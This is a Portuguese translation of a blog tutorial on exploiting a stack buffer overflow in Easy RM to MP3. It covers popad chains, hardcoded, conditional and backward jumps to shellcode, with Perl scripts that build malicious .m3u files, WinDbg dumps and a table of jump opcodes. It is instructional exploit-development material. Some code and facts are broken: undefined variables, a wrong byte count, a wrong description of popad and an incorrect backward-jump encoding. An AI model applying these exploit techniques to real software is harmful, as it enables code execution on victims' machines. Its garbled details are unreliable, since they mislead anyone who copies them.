27 de março de 2013

Stack Buffer Overflow - Jumping to Shellcode - parte 4 (final)

Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/


Algumas outras maneira de pular (jump)

Popad
Endereço hardcode para pular

A instrução “popad” pode nos ajudar “pulando” para nosso shellcode. Popad (pop all double) retirará duas words da stack (ESP) e colocará em registradores de uso geral, e um a ação. Os registradores são carregados na seguinte ordem: EDI, ESI, EBP, EBX, EDX, ECX e EAX. Como resultado, o registrador ESP é incrementado após cada registrador ser carregado (disparado por popad). Um popad irá tomar 32 bytes de ESP e coloca-os nos registradores

O opcode do popad é 0x61.

Então suponha que precise pular 40 bytes, e você tem apenas dois bytes para fazer o jump, você pode usar 2 popad’s para apontar ESP para o shellcode (que começa com NOP’s feitos para os 40 bytes de espaço que precisamos para pular sobre).

Vamos usar novamente a vulnerabilidade do Easy RM to MP3 para demonstrar esta técnica. Vamos reutilizar o script anterior de exemplo, e construiremos um falso buffer que colocará 13 X’s no ESP, então colocaremos um pouco de lixo (D’s e A’s) e então o nosso shellcode (NOP’s + A’s).



my $file= "test1.m3u";
my $buffersize = 26094;
 
my $junk= "A" x 250;
my $nop = "\x90" x 50;
 
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
 
my $eip =”BBBB”
 
my $preshellcode = "X" x 17; 
 
my $garbage = "\x44" x 100;
 
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
 
print "Tamanho do buffer : ".length($buffer)."\n";
 
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jgarbage;
close($FILE);
print "Arquivo m3u criado com sucesso\n";

Após abrir o arquivo no Easy RM to MP3, a aplicação morre, e ESP se parece com isso:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d
eip=42424242 esp=000ff730 ebp=00344158 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44  XXXXXXXXXXXXXDDD |  => 13 bytes
000ff740  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD |  => garbage
000ff750  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff760  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff770  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff780  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff790  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff7a0  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA | => garbage
0:000> d
000ff7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
0:000> d
000ff830  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff840  41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90  AA.............. | => garbage
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPS/Shellcode
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPS/Shellcode
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA | => NOPS/Shellcode
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode


Vamos dizer que precisamos usar os 13 X’s (então 13 bytes) que estão disponíveis diretamente no ESP para pular sobre 100 D’s (44) e 160 A’s (um total de 260 bytes) para finalizar nosso shellcode (inicia com NOP’s, então vem um breakpoint, e então A’s = shellcode).

Um popad = 32 bytes. Assim 260 bytes = 9 popad’d (-28 bytes) (assim precisamos iniciar nosso shellcode com nops, ou iniciar o shellcode em [início do shellcode]+28 bytes.

No nosso caso, temos alguns nops antes do shellcode, então vamos tentar um “popad” nos nops e ver se a aplicação trava em nosso breakpoint.

Primeiro, sobrescreva EIP novamente com jmp esp (veja um dos scripts anteriores).
Então, ao invés dos X’s, faça 9 popad’s, seguidos pelo opcode de “jmp esp” (0xff,0xe4):


my $file= "test1.m3u";
my $buffersize = 26094;
 
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
 
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
 
my $eip = pack('V',0x01ccf23a);  #jmp esp de MSRMCcodec02.dll
 
my $preshellcode = "X" x 4;  # necessário apontar ESP para 13 bytes abaixo
$preshellcode=$preshellcode."\x61" x 9;  #9 popads
$preshellcode=$preshellcode."\xff\xe4";  #10º e 11º bytes, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90";  #preencha o resto com nops
 
my $garbage = "\x44" x 100;  #lixo para jump over 
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
 
print "Size of buffer : ".length($buffer)."\n";
 
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "Arquivo m3u criado com sucesso\n";

Após abrir o arquivo, a aplicação trava em nosso breakpoint. EIP e ESP paracem-se com isso:

(f40.5f0): Break instruction exception - code 80000003 (first chance)
eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141 edi=41414141
eip=000ff874 esp=000ff850 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc              int     3
0:000> d eip
000ff874  cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ff884  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff894  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8b4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8c4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8d4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8e4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d eip-32
000ff842  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff852  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff862  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff872  90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
000ff882  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff892  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8b2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d esp
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA


=> os popad’s funcionaram e fizeram o ESP apontar para os nops. Então o jump para o esp foi feito (0xff 0xe4), o que fez com que o EIP pulasse para os nops, e fizeram o slide até o breakpoint (em 000f874).

Substitua os A’s pelo shellcode:

Ownado novamente!

Outra maneira (não tão boa, mas ainda assim possível) de pular para o shwllcode, é utilizando jumpcode que simplesmente pula para o endereço (ou um offset de um registrador). Posto que o registrador/endereço pode mudar durante cada execuçãod o programa, esta técnica pode não funcionar todas as vezes.

Então, para o hardcode de endereços ou offsets de um registrador, precisa simplesmente encontrar o opcode que fará o jump, e então usá-lo no primeiro buffer (o menor) para pular para o shellcode real.

Você já deve saber como encontrar o opcode para instruções assembly, então colocarei dois exemplos:

1. jump para 0x12345678

0:000> a
7c90120e jmp 12345678
jmp 12345678
7c901213

0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e e96544a495      jmp     12345678
=> opcode is 0xe9,0x65,0x44,0xa4,0x95



2. jump para ebx+124h

0:000> a
7c901214 add ebx,124
add ebx,124
7c90121a jmp ebx
jmp ebx
7c90121c

0:000> u 7c901214
ntdll!DbgUserBreakPoint+0x2:
7c901214 81c324010000    add     ebx,124h
7c90121a ffe3            jmp     ebx

=> os opcodes são 0x81,0xc3,0x24,0x01,0x00,0x00  (add ebx 124h) e 0xff,0xe3 (jmp ebx)




Short jumps & jumps condicionais

No evento que precisa de um jump sobre poucos bytes, pode usar algumas técnicas de “short jump” para conseguir isso:

- um short jump: (jmp): opcode 0xeb, seguido por um número de byte

Então se você precisa pular 30 bytes, o opcode será 0xeb,0x1e

- um jump condicional (short/near): (“jump se condição for verdadeira”) : Esssa técnica é baseada no estado de um ou mais flags no registrador EFLAGS (CF,OF,PF,SF e ZF). Se as flags estão em determinado estado (condição), então um jump pode ser feito para a instrução alvo especificada pelo operador de destino. Essa instrução alvo é especificado com um offset relativo (relativo ao valor corrente de EIP).

Exemplo: suponha que queira pular 6 bytes. Dê uma olhada nas flags (ollydbg), e dependendo do status das flags, poerá usar um dos opcodes da tabela abaixo.

Digamos que a flag Zero é 1, então poderá usar o opcode 0x74, seguido pelo número de bytes que queira pular (0x06 em nosso caso).

Esta é uma pequena tabela com jump opcodes e condições de flags:

Code
Mnemonic
Description
77 cb
JA rel8
Jump short if above (CF=0 and ZF=0)
73 cb
JAE rel8
Jump short if above or equal (CF=0)
72 cb
JB rel8
Jump short if below (CF=1)
76 cb
JBE rel8
Jump short if below or equal (CF=1 or ZF=1)
72 cb
JC rel8
Jump short if carry (CF=1)
E3 cb
JCXZ rel8
Jump short if CX register is 0
E3 cb
JECXZ rel8
Jump short if ECX register is 0
74 cb
JE rel8
Jump short if equal (ZF=1)
7F cb
JG rel8
Jump short if greater (ZF=0 and SF=OF)
7D cb
JGE rel8
Jump short if greater or equal (SF=OF)
7C cb
JL rel8
Jump short if less (SF<>OF)
7E cb
JLE rel8
Jump short if less or equal (ZF=1 or SF<>OF)
76 cb
JNA rel8
Jump short if not above (CF=1 or ZF=1)
72 cb
JNAE rel8
Jump short if not above or equal (CF=1)
73 cb
JNB rel8
Jump short if not below (CF=0)
77 cb
JNBE rel8
Jump short if not below or equal (CF=0 and ZF=0)
73 cb
JNC rel8
Jump short if not carry (CF=0)
75 cb
JNE rel8
Jump short if not equal (ZF=0)
7E cb
JNG rel8
Jump short if not greater (ZF=1 or SF<>OF)
7C cb
JNGE rel8
Jump short if not greater or equal (SF<>OF)
7D cb
JNL rel8
Jump short if not less (SF=OF)
7F cb
JNLE rel8
Jump short if not less or equal (ZF=0 and SF=OF)
71 cb
JNO rel8
Jump short if not overflow (OF=0)
7B cb
JNP rel8
Jump short if not parity (PF=0)
79 cb
JNS rel8
Jump short if not sign (SF=0)
75 cb
JNZ rel8
Jump short if not zero (ZF=0)
70 cb
JO rel8
Jump short if overflow (OF=1)
7A cb
JP rel8
Jump short if parity (PF=1)
7A cb
JPE rel8
Jump short if parity even (PF=1)
7B cb
JPO rel8
Jump short if parity odd (PF=0)
78 cb
JS rel8
Jump short if sign (SF=1)
74 cb
JZ rel8
Jump short if zero (ZF = 1)
0F 87 cw/cd
JA rel16/32
Jump near if above (CF=0 and ZF=0)
0F 83 cw/cd
JAE rel16/32
Jump near if above or equal (CF=0)
0F 82 cw/cd
JB rel16/32
Jump near if below (CF=1)
0F 86 cw/cd
JBE rel16/32
Jump near if below or equal (CF=1 or ZF=1)
0F 82 cw/cd
JC rel16/32
Jump near if carry (CF=1)
0F 84 cw/cd
JE rel16/32
Jump near if equal (ZF=1)
0F 84 cw/cd
JZ rel16/32
Jump near if 0 (ZF=1)
0F 8F cw/cd
JG rel16/32
Jump near if greater (ZF=0 and SF=OF)
0F 8D cw/cd
JGE rel16/32
Jump near if greater or equal (SF=OF)
0F 8C cw/cd
JL rel16/32
Jump near if less (SF<>OF)
0F 8E cw/cd
JLE rel16/32
Jump near if less or equal (ZF=1 or SF<>OF)
0F 86 cw/cd
JNA rel16/32
Jump near if not above (CF=1 or ZF=1)
0F 82 cw/cd
JNAE rel16/32
Jump near if not above or equal (CF=1)
0F 83 cw/cd
JNB rel16/32
Jump near if not below (CF=0)
0F 87 cw/cd
JNBE rel16/32
Jump near if not below or equal (CF=0 and ZF=0)
0F 83 cw/cd
JNC rel16/32
Jump near if not carry (CF=0)
0F 85 cw/cd
JNE rel16/32
Jump near if not equal (ZF=0)
0F 8E cw/cd
JNG rel16/32
Jump near if not greater (ZF=1 or SF<>OF)
0F 8C cw/cd
JNGE rel16/32
Jump near if not greater or equal (SF<>OF)
0F 8D cw/cd
JNL rel16/32
Jump near if not less (SF=OF)
0F 8F cw/cd
JNLE rel16/32
Jump near if not less or equal (ZF=0 and SF=OF)
0F 81 cw/cd
JNO rel16/32
Jump near if not overflow (OF=0)
0F 8B cw/cd
JNP rel16/32
Jump near if not parity (PF=0)
0F 89 cw/cd
JNS rel16/32
Jump near if not sign (SF=0)
0F 85 cw/cd
JNZ rel16/32
Jump near if not zero (ZF=0)
0F 80 cw/cd
JO rel16/32
Jump near if overflow (OF=1)
0F 8A cw/cd
JP rel16/32
Jump near if parity (PF=1)
0F 8A cw/cd
JPE rel16/32
Jump near if parity even (PF=1)
0F 8B cw/cd
JPO rel16/32
Jump near if parity odd (PF=0)
0F 88 cw/cd
JS rel16/32
Jump near if sign (SF=1)
0F 84 cw/cd
JZ rel16/32
Jump near if 0 (ZF=1)

Como pode ver na tabela, você pode também fazer um short jump baseado no registrador ECX sendo zero. Uma das proteções SEH do Windows (que veremos no próximo tutorial) que tem sido utilizada, é o fato de que os registradores são apagados quando ocorre uma exceção. Dessa forma, algumas vezes você será capaz de usar 0xe3 como jump opcode (if ECX = 00000000).



Backward jumps

Em situações em que precise executar backward jumps (jumps com offset negativos): pegue o número negativo e converta-o para hexadecimal. Pegue o valor hexa do dword e use-a como argumento para um jump (\xeb ou \xe9).

Exemplo: jump back 7 bytes: -7 = FFFFFFF9, assim jump -7 seria “\xeb\xf9\xff\xff”

Exemplo: jump back 400 bytes: -400 = FFFFFE70, assim jump -400 bytes =

Exemplo: jump back 400 bytes :  -400 = FFFFFE70, so jump -400 bytes = "\xe9\x70\xfe\xff\xff" (como pode ver, este opcode possui 5 bytes de tamanho. Algumas vezes, se precisar ficar dentro do limites de dword (4 bytes apenas), poderá realizar múltiplos short jumps para conseguir chegar onde deseja).